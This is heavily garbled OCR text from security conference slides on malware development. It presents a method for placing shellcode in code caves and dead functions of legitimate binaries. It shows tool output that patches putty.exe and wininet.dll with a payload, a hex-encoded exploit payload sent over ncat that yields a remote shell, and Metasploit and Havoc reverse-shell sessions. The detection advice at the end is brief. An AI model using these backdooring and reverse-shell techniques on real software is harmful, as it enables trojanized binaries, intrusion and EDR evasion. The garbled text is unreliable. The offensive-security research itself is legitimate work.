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“Explore a practical alternative to complex
shellcode Injection chains, encouraging
simplicity in malware development”
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“A shower thought kept running into my head,
let's discuss it around proof of concepts and
see If it Is applicable to something”
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™,

quick shellcode history



Author : Aleph
.00 Phrack 49 Oo.
Volume Seven, Forty-Nine
File 14 of 18

BugTrag, r@8t, and Underground.Org
bri

by Aleph One
alephl@underground.org

tack”™ [C programming] n. On many C implement:
le t rrupt th on stack by writing
3 declared a Code the
ash the stack, and can e return fre
a random addr T n produce s

t bugs known to m

i e the st

the term mung t ack i used, a
ntenticnally

Shell Code

PP P PP P P P Py

So now that we know that we can modify the return address and the flow of
execution, what program do we want to execute? 1In most cases we'll simply
want the program to spawn a shell. From the shell we can then issue other
commands as we wish. But what if there is no such code in the program we
are trying to exploit? How can we place arbitrary instruction into its
address space? The answer is to place the code with are trying to execute in
the buffer we are overflowing, and overwrite the return address so it points
back into the buffer.
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[alephl]$ y shellc -ggdb -static shellcode.c
[alephl]$ gzdb

{gdb) disas h

Dump of

OuffFfFffE(¥ebp),¥eax
Feax
BuffffFffB(%ebp),%eax

- I

#include <stdio.}

Bx880a158
a@xgeaa159
void maln() { End of assembler dump.

{gdb) disassemble

char *name[2]; Dun

p of assembler
xE00a2

m

m

esp,%ebp

m

@ -h B
(1]

name[@] "/bin/sh";
name[1] NULL;
execve(name[@], name, NULL);

m m

W ch & ha@m o m
|rh |rh |rh |rh |rh |rh m

m

<__normal_errno_

m |rh |ﬂl |

WD o= gho = h
m |rh |rh m

= -1)
1]

End of assembler
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> No absolute address

The problem is that we don't know where in the memory space of the

program we are trying to exploit the code (and the string that follows > NO gl.Obal. Va I"Iable

it) will be placed.

‘If the payload is copied byte-for-byte to > Dyna mic resolution

another address, it should work out of the box” _
>No exception
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"s{PADDING BEFORE}dd@@dd01dd02dd@3d05e5chc8f6100d0505add00dd0@dd8fc0a80532dd8f0200115cd05e5bdd10dd5bdd5add@3d@5e5¢chc8
f6200d0005bdd5bhdd5add@2d@5e5chc8T5a00f3025befdd8f2T736800dd8T2T62696ed05e5bdd@0dd00@dd5bdd@3d@5e5chbec3bs{PADDING AFTER}"
\ | ncat -v 127.0.0.1 79
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:79.
Nth: 532 bytes sent, @ bytes received in ©.11 seconds.
#

# ncat -lkv 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444

Ncat: Listening on ©.0.0.0:4444

Ncat: Connection from 172.16.0.2.

Ncat: Connection from 172.16.0.2:51764.
/bin/hostname

simh
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# ./fTrameworkl/cli ./frameworkl/exp/msrpc_dcoml overflow.exp payload=winreverse RHO5T=192.168.20.140
[*] Generating payload winreverse (x86, win32, reverse)...

[*] Payload generation complete (668 bytes)

[*] Using return address 0x77838eef with scratch pad at 0x7ffde@cc

[*] Connection from 192.168.20.140:1039...

Microsoft Windows 2080 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>hostname
hostname
srv@l

C:\WINNT\system32>ver

ver o
"Windows 2000

Microsoft Windows 2000 [Version 5.00.2195] Server Family :..o.wreomoos
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[options] [about] [close]

hides completely the specified
application. from ctrl+alt+del
and from the screen

= = =]
m}ﬁi‘_’ﬁﬂi more mfnrmatmn J—— —— 44—
linforetieved. ]
connection manager conputer name: COMMODON —_—
127.0.0.1 12 user name: Donald Kelloway Command Desc ript ion
m windows folder: C:\WINDOWS
- = system folder: CAWINDOWSSYSTEF | ¢ }  —7"7"77°77"  TTTTTTTTTTT
AR DU LN computer owner: Donald Kelloway ? He]_p menu
conpany: Commodon Communica ,
P version: 4.10 (1998.) background Backgrounds the current session
TCQ motify vhltﬁm :‘l;uﬁws;”“% bg Alias for background
< Hon: 5 . . .
keysimessages manager dim:;::;m:: 406020436 bgkill Kills a background meterpreter script
bitsperpisel: 16 jves | run | .| ype path | bglist Lists running background scripts
. e g bgrun Executes a meterpreter script as a background thread
mm =y Mkﬁd:sksiw i;ﬂ;’jfg&ﬁ::bms e channel Displays information or control active channels
offline 1 T : =
s o close Closes a channel
ey : .
esskxclqmmanager detach Detach the meterpreter session (for http/https)

meterpreter > help

Core Commands

disable unicode _encoding Disables encoding of unicode strings
MM mm_sm"ﬂm‘ enable unicode encoding Enables encoding of unicode strings
il ooty |y Wioai | orow L [orii [l it Terminate the meterpreter session

by mobtnaty; ninet

[*] 192.168.20.142:445 - Sending egg to corrupted connection.

[#] 192.168.20.142:445 - Triggering free of corrupted buffer.

[#¥] Sending stage (248902 bytes) to 192.168.20.142

[*] Meterpreter session 1 opened (192.168.20.1:4444 -> 192.168.20.142:49160)
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msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > use exploit/windows/http/prtg_authenticated rce
[#] No payload configured, defaulting to windows/meterpreter/reverse tcp

Meterpreter shellcode used for a web exploit

Agent: |Demon -
'f g Options
2y
Listener: HTTPS -
2.16§.1.104 Arch |x64 -
NT AUTHORITY\SYATEM @ JCME-14E429D2B5 (ADMIN) e 1
Format Windows Shellcode bri
@ exploit Config Value
v (& multi Sleep 2
w http Jitter 15

Indirect Syscall
Stack Duplication

Sleep Technigue WaitForSingleObjectEx -
- .
102.168.1.101  192,168.1,106 16 ) sleeninpGargel e
NT AUTHORITY\ ; Proxy Loading None (LdrLoadDl1) -
- Amsi/Etw Patch None -
v Injection

[*] starting build

[*]1 no sleep obfuscation has been specified
[*] sleep jump gadget option ignored

[¥] stack duplication option ignored

ul [*] no proxy loading technique specified (using Ldr| Agent config
@ Program Files 0 0 -0 [*] amsifetw patching disabled
@ Python2s 0 0 % [*] config size [532 bytes]
o ume Information [*]1 compiling core dll...
=
& Arch: x64 M
i
e
Format: Shellcode M
Upload... Make Directory Refresh Sleep (Jitter %): 4s 0 v

. Havoc
Armitage Adaptix
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™,

typical injection flow



Process Injection-<

4 VirtualAlloc()

memcpy ()
VirtualProtect()

\_ CreateThread()

modules / code

stack

heap




Process Injection-<

Reflective DLL
Injection

modules / code

4 VirtualAlloc()
memcpy ()

stack

VirtualProtect()

\. CreateThread()

4 VirtualAlloc()

memcpy ()
VirtualProtect()

\_ CreateThread()

heap

_/

Wrapper for in-memory
DLL loading

> DLL payload




4 VirtualAlloc()

memcpy ()
Process IanCtLOP'< VirtualProtect()

\_ CreateThread()

API call sequences |
vartualAlloc()

. memcpy ()
Reflective DLL VirtualProtect()
Injection

C CreateThread()

API call sequences

modules / code

stack

encrypted data

Tk

heap

RWX memory

J

Wrapper for in-memory
DLL loading

> DLL payload

payload patterns




lower the noise
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T*a”in"julitor'bigh or high school. I've listened to teachers expll
for the"fifteentl timé how to"reduce a”fraéction. "I"understand it. "No, M
Smith, " I°didn*t show my work. T"did it in my head..."

Démn k14" Probably c¢opied it. They're all alike.

i“madé a’'discovery today. ‘I"foind a“computer. “Wait'a second, thi

It does what'T want"it'to: If'it"makes”a mistake; it's because I
Taw b 23t 3t
Sereelo 1 RaraR ot sbheayosTi TRcken ftgl i k6 me
7" feals threatensd by ma. ..
ememememem-w-m-m-m—w-m-n-aOp-thinke= I imeA S MAPE ARy y - - m-mm—m—w—m—

V== S Modern implant design: position independent malware
development

Une

- 202 .3 #

fise to us

05 - BruCON 0x0D - PIC Your Malware! - Ben Heimerdinger and Sebastian Feldmann

‘: BruCON Security Conference s
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Original Metamorphicated (example)

push rbp # push rbp
# mov rbp, rsp # mov rbp, rsp
push ris push ro
push rili push ris
sub rsp, 406h sub rsp, 38h

xor rax, rax mov rdx, ©
mov [rbp+var_1B], rax mov [rbp+var_33], rdx

l ¢‘ lllustration 1: Example metamorphications by Dittobytes (left and right are functionally equivalent).
In Memory Of In-Memory Detection

- Tijme Gommers

EJ
e’

In Memory Of In-Memory Detection - Tijme Gommers

@2 OrangeCon
"”@f@‘ 1.06K subscribers @ Hi G /> Share [ save
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modules / code
4 VirtualAlloc() stack
memcpy ()
Process Injection < VirtualProtect()
\. CreateThread() B4 8B 27 Fi 5C A6 B9 7E 12 Ce& EY \ :
API call 43 8D 51 BZ @& 62 P8 14 AD 93 35 W"api’e"dfor th-memory
ca Sequencesur‘tualAlloc() CE 76 OB E2 49 DLL loading
: memcpy ()
Reflectl.ve I,)LL VirtualProtect()
Injection \
\_ CreateThread()

> DLL payload

heap




Update 10

Patchless threadless via Tampered syscalls via Exploiting EDRs for evasion - Preventing Exploiting EDRs for evasion
Red Tea m N otes hardware breakpoints hardware breakpoints EDR from taking action - EDR LOLBINS
Introducing Early Cascade Injection: From
Windows Process Creation to Stealthy
Update 9
Injection
0 F F E NS | V E SEC U RIT Y Ghost process Herpaderping process Shellcode Reflective DLL (sRDI) Ghostly hollowing
Dima v Wouw | October 15, 2024
Herpaderply hollowing Remate module stomping Process hollowing PSExec implementation

jegelenbrink at Outflank

Introduction

APC Queue (

09/09/2022  * WriteProcessMemoryAPC - Write memory to a remote process using APC ca

Ear|v Bird APC Another alternative to WriteProcessMemory, this time by scheduling APC calls to call RtlIFil

In
100082022 | Clipboardinject - Abusing the clipboard to inject code into remote processes

Using the Windows clipboard to transfer code into another process without explicitly alloca

19072022 | pddExelmport - Add a hardcoded DLL dependency to any EXE

A tool to modify an EXE file on disk to add an extra DLL import entry

130612022 | procEnvinjection - Remote code injection by abusing process environment strings

Injecting custom code into a remote process using the TpEnvironment parameter of CreateProcess

1010472022 | |mportDLLInjection - An alternative method of injecting DLLs by modifying PE headers in
memory

Adding a DLL to the import table of a newly-created process in memory
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PE file basic structure

Dissected PE

ety

—

r©

simple

simple.exe

DOS header

‘shows Its a binary

PE header

shows It's a ‘modem’ binary

optional header

‘xscutais Information

data directories

pointsrs to extra structurss (sxports, Imporis...)

header

technical details about the executable
ons table

defines how the s Is loadsd In memory

wnat s sxscutsa

sections

contents of the executable -
imports

ik bstwsen the sxscutadls and (Windows) brariss

data
Inormation usea by tre coss

Hexadecimal dump
HONSH o8 98-80 80 88 PA-09 88 B8

85745 00 09-09 09 00 BB-99 80 89

45”00 0p-4O7AI B3 88-20
2 B1...

...088
B0 88 8B-0A A8 A8 BA-BA
CERCEREER
@0 60 PE-00 09 00 DA-B4
48 98 9B-9A B2 BB BA-AA
B0 98 BB-PA A8 A8 BA-AA
80 88 Ao IANGENEENEE. . .

...00
20°90°98-00 09 00 0e-90
@0 00 pE-00 99 00 Be-90

8 88-03 A2 88

8 B8-03 A0 88
i8°88-00 10 a8

8-09 92 98
8 B8-03 A0 88

50 62 BA-30 40 06 oo-17 30 48

20 49 BB-6A 00 FF 15-68 20 48 O

4120 73 63-60 70 &C 65-20 50 45
75 74 61 62-6C 65 B9 48-85 5C &C
40 64 21 BB

2 74 65 76-74 83 09 B9

ASCII dump Fields Values

80-88 B8 MI.......... R
Mz

88-48 88

Oxl4c [intel 386]
ctions 3

tionalHeader | Oxe

0x10b
0x400000
0x1000
0x200
04000
NumberofRvaAndsizes
ge-ge

ge-g0 ]
8e-ge8 L]

93-88 82 80 od

Explanation

constant signature
offset of the PE Header @

constant signature
processor: ARM/MIPS/Intel/
number of sections @)

relative offset of the section table @
EXE/DLLL..

32 bits/B4 bits
whers sxscution starts @

address where the file should be mapped in memory
where sections should start in memary

where sections should start on fie €)

required version of Windows

total memory space required

total size of the headers @
driverigraphicallcommand line/...

number of data directories €

RVA of the imports €

Sections table

80-ZaNBANGANES | . . .. me  VirtualSize VirtualAddress SizeOfRawData PointerToRamData Character
33

s
0 0200 TODE EXECU AD)

B6-BENZANEENGE | .rdata . x T TxI000 __ 0xZ00 )
rdata 1 .0x2000 —0x200 0x400 N D READ
E

USNGANGaNE | . ...c. .0 data ol
49-08 86 80 0@ 8.....oieni | Foreachsecton,as

x86 assembly
push 0
0x403000
88-5A 00 FF 15 n 402017
0

[0x402070]

[0x4020683

Imports structures
descripto

ernel32.d11

0x204c,

20-65 78 65 a.simple. a simple PE executable\0
SE=20000T6FNI2 | utable Hel rld!

T L T T —

[ DATA.._READ. WRITE!

sized block is read from the file 3 awData offset
23-48 80 Bl . It will be loaded in memary at address ImageBase + Viru

sized block, with specific ch:

Equivalent C code
el wortdt mle P executable”, 00

Conseguences

after loading,
0x-£2068 will point to kemel32.dll"s ExitProcess
0x 2070 will point to 'sM \

DOS header

PE header
(NT header)

Section table

Injecting, Start Blending: A KISS Approach to

Sections

text

.data

Malware Development




M M M @ M M m7mImImIm

m

rodata 10 - ) 3 e W £
Jdata 0 A0 48 11401 20068
rdata Q00000074071 20068 Q0000007407 32000

.data Q0000001401 32000 Q000000140137000

Jpdata DO000001401 37000 101401 3F00
Q0000001401 3F000

momomom

m

mmmmm

]

00000001 40743000 OO0D000140744000
Q0000001 40744000 01407450

]

M M M M M M M M m
R
I s |
MmMoMAm@-luo

m
m

7E sub_l4@

L T A A s A A  al l a s
m
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LLITTTITIN LLITTTITTIITY
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» python3 find_caves.py putty.exe —--min-size 180

Target : putty.exe

Format : PE32+ | ImageBase: 0x0000000140000000
Min size : 180 bytes

Fill set : 2x00 8x90 @xCC

[+] Found 14 cave(s) - 15019 bytes total
Cave #1

Section : .text

FileOff : @x@OOED645

RVA : OxPOVEE245

VA : OxP0POOPO1A0OEE245

Size : 443 bytes

Fill : NULL+INT3
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text code <

4D 5A
95 4C
11 E7
79 D5

40

74
Co B2
B7 13
21 27
08 1F
50 FD
05 AF
FD FF
33 85
A6 32
BD 85

-~

0 9A
/e
02

87
83
2D
26

05
92
4B
67
AC
6E
9A
3F
EA
46
04
13
32

3. Define jump to code
cave (and back)

code cave



text code <

4D
95
11
79

70
F6
02
co
B7
21
08
50
05
FD
33
A6
BD

5A
4C
E7
D5

9A
40
74
B2
13
27
1F
FD
AF
FF
85
32
85

87
83
2D
26
B5
05
92
4B
67
AC
6E
9A
3F
EA
46
04
13
32

2A
17
90
8C
4A
F3
21
5F
31
D2
94
01
78
E3
22
82
D7
El

DS
DO
BC
B2
F9
6F
2D
DF
A6
=
DF
D1
01
Cc7
5F
ED
CA
97

OF
5A
53
57
84
A3
24
EB
8F
87
87
27
oA
6E
8A
FF
P)
41

74
BE
08
oD
16
B8
4D
c7
6E
53
B7
67
21
45
5D
74
08
29

B3
36
F4
E6
Cc3
1F
FoO
22
30
4F
28
DO
1A
27
D2
50
8B
4D

68
9F
6A
31
6F
61
9F
A2
57
c7
B3
1E
A3
C2
A8
80
F1
37

9D

FA
C8
Al
4A
28
26
8F
5C
32
4E
D9
8D
C6
50
12
2A
55
F9

EB

21
45
3E
F9
DB
75
=
03
FA
26
08
4B
6F
OE
59
D7
29
9E

03

Save program state
Jump to code cave
Execute payload

Execute overridden
instructions

Restore program state

Jump back to normal
program execution

code cave



[*]

[*]
[*]

[+]
[+]
[+]

[+]
[+]

> python3 insert assembly.py —assembly calc.bin —target putty.exe —offset '0x000ED645'

Validating shellcode (173 bytes)...
[~] WARN: @x007D: RET — internal subroutine return (matched by an intra-shellcode CALL, looks fine)

Disassembling entry point to collect complete instructions...

[fixup] CALL rel32 @ 0x1400BFB28 - target 0x1400BFD88 (new disp —0x2e5a3)
Stolen 9 bytes from EP (VA 0x00000001400BFB24)

Raw : 48 83 ec 28 e8 5b 02 00 00

Fixed: 48 83 ec 28 e8 5d la fd ff

Cave payload : 24B prologue + 173B shellcode + 24B epilogue + 9B stolen EP + 5B jmp-back
Wrote 235 bytes at file offset @0x000QED645
Entry point patched - JMP to cave VA 0x00000001400EE245 (returns to EP+9 = 0x00000001400BFB2D)

PE checksum recomputed - @x001AD867
Saved patched binary - putty_patched.exe
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A9 FF FF EB 4 6 .eteyyey «<pyHf p. g 48 30 4
01 00 00 00 : : .. . 40 48 8B EA
CC 40 55 48 C : ) 04 fi .. 4 4 28 ¢ 85 80
B3 C4 20 5D E9 4 48 . .HfA 1é8.p; 4 4 48 8D 15
8B EA B9 . C4 sD i .o HT . C : 4 C2 80
FF CC 40 55 & C : 48 &..pj Fi Hed FF 28
08 48 83 (4 2 y 2A .HfA 1é , C3 , 4 EC 20
EC 30 48 ' : : : : ) 87 9B
2A FF FF : : 20 4 3 y f . : 20 4 . 01 81
3 ¢4 5 ) 2 FF , HfA 16/*yyii 4 0C 4 04 33
48 BB 4 ) 4 AC 8D 4 4 SHLMXL . 4 4 cC ccC
00 £ 48 \ CC CC CC
55 4 28 4 EA ¢ , SUHFi(H«&HM C CC CC
FF 48 A0UPJF} . UHH«. C CC CC
63 7B : cC cc
05 20 CC CC cc
20 18 48 cC ccC
85 48 8B CC cC cc
DF 8D CO cc cc
CF 8A : 4D 40 ¢ CC cC cc
5D 5 40 55 48 83 cC cc
FD 9 ¢ 20 5D CC CC cc
48 ) FE FF cc cc
BA 4 48 83 CC CC cC
83 7D 4 . C CC CC
00 00 48 63 =f}D.t(H«.£... C CC CC
E1 BC 04 .H«AHA®@ .H..3E..f C CC CC
64 C8 . . .EH«.AgdEBpH C CC CC
FF FF : C CC CC
48 8B CC CC cC
FE FF C CC CC
38 05
Co EB

e <]
LS WS VS WS )
%]

w

hoLh

M T m M T
M T m T
%]

wi
[ = e I L S
o

L =RV ]
W o—= 0

=)
=

(]
o
=]
-
f

[
N

=)
m
(]
(]
(]
(]

m
[
[
f

[
N

(@]
oW
(SRR}

sl al

(]

Y

putty patched.exe putty.exe
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PuTTY Configuration

Default Settings

© Only on clean exit

putty_patc... | Open | Cancel
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> limitations
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finding morxe
space 1n .text



>Code that is never reached by the program

>Could be overwritten to extend available space

>Especially relevant for loaded libraries
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>Code that is never reached by the program

>Could be overwritten to extend available space

>Especially relevant for loaded libraries
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> Code execution flow is highly indeterministic
> Depends on how/where/when the program is ran

> Indirect jumps/calls, dynamic function/library resolution,

Input-dependent branches, exceptions..
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Reachability semantics (invariance) I

= Collects reachable states at each program point
= S7[p a(S[P]) =Po > € {p| Joo’.a(l, p)o’ € S[P]}
= By calculational design we get

Reachability of an iteration statement S ::=whilet(B) S,

89Is] Z,¢ (fp° Fllwhilet(B)S,] R)¢ (19.16)

7l lwhilet(B)S,] %, € (L —p(Evd)—(L —
whilet(B) Po XU =
(¢=t2 R0 ] (test?[B] X(¢)) ¢
einfS,] \ {1} 7 87[s,] (test?[B] X (1) ¢
¢ =after[S] 7 test?[B(X () U [S,] (test’[BIX(0)) ¢

where
Path Feasibility Analysis for String-Manipulating
Programs

Abstract Interpretation With Professor Patrick Cousot | Lecture Series on Al #11 | J.P. Morg:

° jpmorgan © @
. . We discuss the problem of path feasibility for pr

ction of standard string library functions.
plexity of this problem, including
and decidability of som es. In the context of te:

domain. The re
phase.
port on the encou
further.

the halting problem is the ) 1 of, given an
am and an input, determining whether said program will

event finish running and halt, or will continue to run forever. Alan T

proved in 1937 that the halting problem is lal] , meaning that no general

al exists that can corre solve the problem for le program-

input pairs.
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Posts module id, start, size:

5 Ways To Get Code Coverage From a Binary, From Mundane module[ 2 0x000000000008c3d¢
to Arcane module[ 2 0x000000000008c3e3,
17 April 2023 - @& module[ 2 Ox000000000008c3f5,
module[ 2 0xbb00000000172020,
% seeinglogic module[ 29]: 0x00000000002670c0, 3
’ %9, | | Devinacker exploring softwar and security thraugh visuzlizations module[ 0x000000000002e8cO, 12
module[ 0x000000000002e8cc, 11
module[ Ox0000000000086010, 5
Code coverage lets you see what happens when a program is executed, but what do you Teelom e e B module[ 0x00000000000bTh24, 9
fofyousrentcompling hepregrmyesrselt How o get edge coverage from binares 1 module[ 0x00000000000bTd88, 35
In the first post of this series, we talked about the basics of coverage and how to get it How to get code coverage with a scriptable m:—_:,dule [ OXDUOOODUO (]Oobfelf , 2 1
S e | e nodulel 6]: 0x9898000009Gb7b2d, 9
workfc?rbinariei, they’ﬁstitlworkw:.en Joue cpompiling ﬁm’;mum_ traveling debugger module[ : Ox00000EPO00OLTIDO, 20
How to get code coverage with an emulator module[ 0x00000000000bTc84, 34
Having different ways to collect coverage helps us leverage tools things like bncov and How to get code coverage with DynamoRIO module [ Ox0AOEAEAOMEAOCOLAS , 80
Ariadne to do cool analytics and visualization, which we'll cover in our in 3-part series. ::}:‘::Z‘e:cm S module[ 0x00000000000c01cl, 31
Part 1: Code coverage explained rewriting module [ Ox00000000000cO1e0 ' 7
Pt 2 Byt s vy v ey e et Ul GO0 G ) T U e modulel[ 0x00000000000c01e7, 7
Tzt I Ayt eevEmge el s module[ 0x00000000000c0lee, 10
module[ Ox00000000000c021c, 20
Tools to get code coverage from binaries module|[ Ox00000000000c0230, 28
Today we're going to look at getting coverage from binaries, and we'll be focused on module [ 0x00000000000c024C ’ 37
block coverage since it is the easiest and requires the lowest overhead in terms of module|[ Ox00000000000cO271, 24
pETERENE (el e e module[ 0x00000000000c0289, 6

drcov sample output
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0003b53a
0603b540 cmp

mov

0003b546 je

v

edi, dword [rel last_read_token]

v

eax, dword [rel line_number]

rdi, [rsp+0x4@ {var_48}]

dword [rel arith_for_lineno], eax
parse_arith_cmd

eax, Ox1

8x3bb35

Q‘J

alloc_word_desc

esi, esi {o0x0}

r15d, oexl1le

rdi, rax

rax, qword [rsp+0x4@ {var_48}]
gword [rdi], rax
make_word_list

gword [rel yylval], rax
B8x39be3

.

0003bb4e
0003bb45
0003bb47
0003bb4d
0003bb50
0003bb55
0003bb5c
0003bb5f
0003bb64
0003bb6éb

call
xor
mov
mov
mov
mov
mov
call
mov

jmp

edi, @x109
B8x3b95f
i 4
0003b54c call reserved_word_acceptable
0003b551 test eax, eax
0003b553 je 0x3b2dc
0003b559 1lea rdi, [rsp+@x4@ {var_48}]
0003b55e call parse_arith_cmd
0003b563 cmp eax, Ox1
0003b566 je 0x3bb4@

v v
alloc_word_desc 0003b56c test ea)
esi, esi {0x@} 0003b56e jne ax3
r15d, ex11d
rdi, rax I%

rax, qword [rsp+0x4@ {var_48}]

dword [rdi+8x8], 0x880832

qword [rdi], rax
make_word_list

qword [rel yylval], rax
B8x39be3

0003b574 mov rdi, qword [rspd
8083b579 xor edx, edx {@x@}
8083b57b xor esi, esi {@Bx0}
8003b57d call push_string
0003b582 mov rax, qword [rel
0003b589 mov dword [rax+8x34]
0003b590 mov eax, dword [rel
0003b596 test al, exi

CFG generated by binary ninja
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Disasm General Strings DOS Hdr File Hdr Optional Hdr Section Hdrs Imports Rescurces Exception Exported Functions [ 854 entries ]

o+ g Ordinal Function RVA Mame RVA Mame Forwarder
3E8 37050 -

3ES 41930 SEGEB |_ScGetCurrent...

3EA SEGBD SEBAS A_SHAFinal

3EB SEECB SE6C1 A_SHAInit

3EC SEGET SEGDE A_SHAUpdate

3ED 522C0 SEGFD AbortSystemSh...

Offset MName Funec. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MameRVA
124170 GDI32.dIl 1 FALSE 12BA28 12E87A
124184 IMM32.dIl FALSE 12BBCE 12E834
124198 oled2.dll FALSE 12BBFS 12EBBE
12A1AC USER32.dlI FALSE 12BC18 12E808
1241C0 KERNEL32.dlI 42 FALSE 12BFDE 12EBA3 - R SETOE AbortSystemSh
124104 SHELL32.dll FALSE 12C480 12E8B0 = Sen o L

12A1E8 COMDLG3ZdIl 6 FALSE 12490 12E8BC == SN e EEEe
1241 12gncn 34 3FD JMAAD 9E72F AccessCheckAn...

= ADVAPIZZ. I [ 15 entries ] Functions [ 834 entries ]

12CF e — e
12CFFD CopySid : 12E776 12E776 : 5 C56 3F6 36CB0 AccessCheckBy..
12CFF8 EqualSid 12E780 12E780 114 C56 JE30 i AccessCheckBy..,
120000 GetLengthSid : 12E78C 12E78C : 14B C368 4 42070 9ES AccessCheckBy..
120008 GetUserMamed - 12E79C 12E79C - 174 C56¢ 42130 AccessCheckBy...
120010 InitializeSecurit... - 12E7AC 12E7AC : 18F C57 A 34570 8 AddAccessAlle...
120018 RegCloseKey - 12E7CC 12E7CC - 265 C57 366B0 AddAccessAllo...
120020 RegCreateKeyExA - 12ETDA 12ETDA = 260 '8 422ED ) AddAccessallo...
120028 RegDeletekeyd - 12E7EC 12ETEC - 272 C57¢ IABAD 9 AddAccessDeni...
120030 RegEnumKeya - 12E7FC 12E7FC - 282 C58 42300 AddAccessDeni..,
120038 RegOpenKeyExd - 12E804 12E804 = 29 ( 42320 AddAccessDeni..,

putty.exe imports advapi32.dlLLl exports

=T =T T T T ]
=T =T T T T ]

=1
=1
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[Launcher] Target
[Launcher] DLL

[Launcher] Timeout
[Launcher] Filter
[Launcher] Exports
[Launcher] Process
[Launcher] Process

Aputty.exe
SMHook.d11
none (wait for process exit)
none
: both
lLaunched, PID=3172
exited with code @

PS C:\ProcTracer> .\ProcTracer.exe ".\putty.exe" "" .\Hook.dll

Imported DLLs & Functions

c:\windows\system32\advapi32.dll (static)
— imported: 15 (15 static)

— not imported: 838
c:\windows\system32\comctl32.d11 (dynamic)
— dimported: @

— not imported: 119
c:\windows\system32\comdlg32.d11 (static)
— imported: 6 (6 static)

— not imported: 22
c:\windows\system32\gdi32.d11l (static)

— imported: 51 (51 static)

— not imported: 943
c:\windows\system32\hhctrl.ocx (dynamic)
— dimported: 1 (1 dynamic)

— not imported: 9
c:\windows\system32\imm32.d11 (static)
— imported: 13 (2 static, 8 dynamic, 3 static+dynamic)
— not imported: 124
c:\windows\system32\kernel.appcore.dll

— imported: 1 (1 dynamic)

— not imported: 265

L1 il ST 113 L P | 4 1 L, |
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> vibe coding time (again)

b2 2P S0 WD S S WS

python3 deadfunc.py ./openvpn-gui.exe —--dll-dir ./libs
DLL Path Size Imported Exported
SHELL32.d11 libs/shell32.d11 7.4 MB b 842
WININET.d11 libs/wininet.d11l 2.6 MB 1@ 327
ntdll.dll libs/ntdll.dl1l 2.4 MB 8 2517
USER32.d11 libs/user32.dll 1.8 MB 83 1205
ole32.dll libs/ole32.dl1 1.6 MB 4 557
CRYPT32.d11 libs/crypt32.d11 1.5 MB 7 307
WINHTTP.d11 libs/winhttp.dll 1.2 MB 5 91
COMDLG32.d11 1libs/comdlg32.dl1l 936.0 KB 1 30
KERNEL32.d11 1libs/kernel32.dl1l 816.6 KB 130 1692
ADVAPI32.d11 1libs/advapi32.dll 735.9 KB 49 854
COMCTL32.d11 1libs/comctl32.dll 7125.5 KB P 181
ws2 32.d11 libs/ws2 32.d1l1 522.1 KB 16 196
SHLWAPI.d11 libs/shlwapi.dl1l 417.1 KB b 931
CRYPTUI.d11 libs/cryptui.dll 376.0 KB 1 56
IPHLPAPI.DLL 1ibs/IPHLPAPI.DLL 211.3 KB 1 313
GDI32.d11 libs/gdi32.d11 183.0 KB 14 1008
WTSAPI32.d11 1libs/wtsapi32.dll 175.0 KB 2 76




1886852378

188852381
1886852381
18885238b
18885238b
18885238b
188852392
188852392
1886852392
188652392
1886852397
1888523%9¢c
1888523%¢c
18868523a1
188852308
188852308
1888523b8
1888523ba
1888523ba
1888523bc
1886523cH
1888523cc
1888523cc
1888523d3
1888523d3
18868523e2

1888523e3

uinte4_t AbortSystemShutdownW(wchari6* argl)
wchar16* const rsil = & string’ ::

if (argl !'= @)
rsi = argl

enum WIN32Z_ERROR dwErrCode_1
enum WIN32Z_ERROR dwErrCode

if (#rsi == 8)
dwErrCode_1 = WsdpAbortShutdown(rsi)
dwErrCode = dwErrCode_1

if (#rei '= 8 || dwErrCode_1 == ERROR_INVALID_FARAMETER)
dwErrCode =
BaseBindToMachineShutdownInterface(rsi, NewAbortShutdownCallback, 8, 8)

bool cond:® = dwErrCode == NO_ERROR
if (dwErrCode !'= NO_ERROR)
SetLastError{dwErrCode)
cond:® = dwErrCode == NO_ERROR
int3Z2_t rbx
rbx.b = cond:B

return zx.q(rbx)

CC CC CC CC CC-CC CC CC CC CC CC CC CC




red = available space

dead code visualization for shellcode

putty.exe crypt32.dll

code caves coverage code caves coverage  imports diff




Technique Reliability Available Space
Code Cave +++ —-
CFG Emulation o i
Binary Code Coverage
DLLs Import/Export Diffs - -




» python3 backdoor functions.py —targets ./openvpn—gqui targets.jsor —dll ./libs/wininet.dll -—-shellcode ./calc.bin

[*] Loading : libs/wininet.d1l1

[*] Output : libs/wininet_patched.d1l

[¥] Shellcode : 173 bytes

[*] Targets : 272 function(s)

[*] Payload payload_size (excl. stolen bytes overhead): 231 bytes

[*] Target : wininet.dll (PE32+, ImageBase 0x0000000180000000)

[¥] Entry point : RVA 0x0014E210 | FileOff Ox0014E210 | VA 0x000000018014E210

[SKIP] AppCacheCheckManifest: range [0x1a42a@, 0x1a4318) not enough size to host shellcode
[SKIP] AppCacheCloseHandle: range [0x140310, 0x14033f) not enough size to host shellcode

[SKIP] AppCacheCreateAndCommitFile: range [0x1a4320, ©x1a4372) not enough size to host shellcode
[SKIP] AppCacheDeleteGroup: range [0x1a4380, ©0x1a43c7) not enough size to host shellcode

[*] Found appropriate function: CommitUrlCacheEntryA (677 bytes available at 0x1801430e0)

l+] Lave payload : Z4B prologue + L1/3B snelLlcode + /4B epllogue + 5B stolen EF + 5B jmp—-back
[+] Wrote 231 bytes at file offset 0x001430EQ

[+] Entry point patched - JMP to cave VA 0x00000001801430E@ (returns to EP+5 = 0x000000018014E215)
[+] PE checksum recomputed - @x00299CEF

[+] Saved patched binary - libs/wininet_patched.dll
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> Compile and run your agent directly
> Direct call to shellcode (no shellcode at all)

README . md

Mythic Agents Organization

rom the community
of

all github [agent

v 4

Pinned

B Apolio P

A NET

I apfell

3 bloodhound | pubiic

ent for N
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> Does metamorphism replace dynamic payload obfuscation?
> Why are we using shellcodes when it comes to C2 / Stage0?
>|s on-disk vs. memory opposition relevant?

> What role do EDR play in a defensive strategy?
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Process Injection-<

Reflective DLL
Injection

4 VirtualAlloc()

memcpy ()
VirtualProtect()

\. CreateThread()
2

VirtualAlloc()

memcpy ()
VirtualProtect()

\_ CreateThread()

modules / code

stack

heap

D

_/

Wrapper for in-memory
DLL loading

> DLL payload




detection implications
(spoilex: nothing new)



> Look for behaviors (what) more than implementations (how)
> Don’'t make the technique the unit of analysis

